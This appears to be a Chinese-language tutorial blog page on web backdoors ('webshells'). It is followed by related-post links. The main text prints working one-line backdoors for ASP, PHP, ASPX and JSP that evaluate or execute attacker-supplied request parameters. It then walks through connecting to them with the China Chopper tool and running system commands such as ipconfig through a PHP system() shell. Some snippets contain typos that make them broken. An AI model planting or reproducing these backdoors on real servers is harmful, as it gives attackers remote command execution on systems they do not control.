webshell（web后门）

一、一句话木马

短小精悍，功能强大，隐蔽性好。

<%
execute request("value")
%>

说明：
使用request的话，post和get两中方式传来的数据都可以接受。

execute用来执行客户端传来的数据。

代码本身没有危害，关键在于我们传输的数据是什么。

常见写法

asp一句话木马

<%eval request("c")%>

php一句话木马

<?php @eval($_POST[‘value’]);?>

aspx一句话木马

<%@ Page Language="Jscript"%>
<%eval(Request.ltem["value"])%>

jsp一句话木马

< % if(request.getParametere("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f")))write(request.getParameter("t").getBytes());% >

利用中国菜刀进行连接
这边我用phpstudy做演示，需要把一句话木马文件放在网站根目录。

一句话木马内容为

<?php @eval($_REQUEST['xx']);
?>

可以手动获取信息

我们把一句话木马内容改成

<?php @system($_REQUEST['xx']);?>

这样可以执行系统命令。注意再次使用中国菜刀连接其他链接之前，需要重置下缓存。
在浏览器输入

http://localhost/123.php?xx=ipconfig

执行系统命令

图片木马的制作

上传到服务器后不能直接执行，得想办法改成脚本格式或者在特定环境下以脚本运行

一句话使用技巧

二、小马、大马

还有其他木马，如打包马、脱裤马等等

脚本木马的制作与原理相关推荐

渗透知识-脚本木马的制作原理
一.webshell制作原理 1.webshell种类一句话木马(使用的最多).小马.大马.打包马.脱裤马等等 2.一句话木马介绍:短小精悍,并且功能强大.隐蔽性非常好,在入侵种始终扮演着非常重要 ...
web 渗透【4】脚本马的制作与原理
webshell制作原理 webshell种类一句话马(使用的最多).小马.大马.打包马.脱裤马... 一句话: 介绍:短小精悍,并且功能强大.隐蔽性非常好,在入侵种始终扮演着非常重要的角色 e.g ...
Web安全—脚本木马工作原理（持续更新）
Web安全-脚本木马工作原理(持续更新) Webshell分类: 一句话木马大马小马打包马脱裤马拿到网站Webshell意义(Webshell的权限取决于Web容器运行的权限,通常为网络服务 ...
Java版AVG游戏开发入门示例 3 ——脚本引擎的制作及应用
源码下载地址:http://code.google.com/p/loon-simple/downloads/list 根据wikipedia的解释:脚本语言(Script language,scrip ...
Java版AVG游戏开发入门示例[3]——脚本引擎的制作及应用
源码下载地址:http://code.google.com/p/loon-simple/downloads/list 根据wikipedia的解释:脚本语言(Script language,scrip ...
Atitit.木马病毒websql的原理跟个设计
Atitit.木马病毒websql的原理跟个设计 1. Keyword Wsql { var sql="select "+p.txt+" as t,"+p.v+ ...
计算机动画制作过程原理,计算机制作动画的基本原理及运动规律.ppt
计算机制作动画的基本原理及运动规律动画的基本原理以及规律第一节视觉原理第二节制作原理第三节动画运动的时间和节奏第四节卡通角色的运动及规律 1.人物角色运动 2.动物角色运动 3.鱼类.爬行类 ...
html实现光碟转动效果,flash脚本roll应用制作转动的光碟动画效果
这次我们利用roll语句制作:鼠标经过时光碟转动,并播放歌曲的动画.包括光碟的制作,滤镜的使用,音乐的插入,属性色彩的调整,以及roll脚本的应用.GIF图片有些失真,只看动画效果即可. 一.制作光碟 ...
三维立体电影制作技术原理
三维立体电影,即我们常说的 4D电影,是立体电影和特技影院结合的产物.随着三维软件在国内越来越广泛的应用, 4D电影也得到了飞速的发展.运用三维软件制作立体电影有其独特的优势,如三维场景本身就具有立体 ...

脚本木马的制作与原理

webshell（web后门）

一、一句话木马

常见写法

二、小马、大马

脚本木马的制作与原理相关推荐

最新文章

热门文章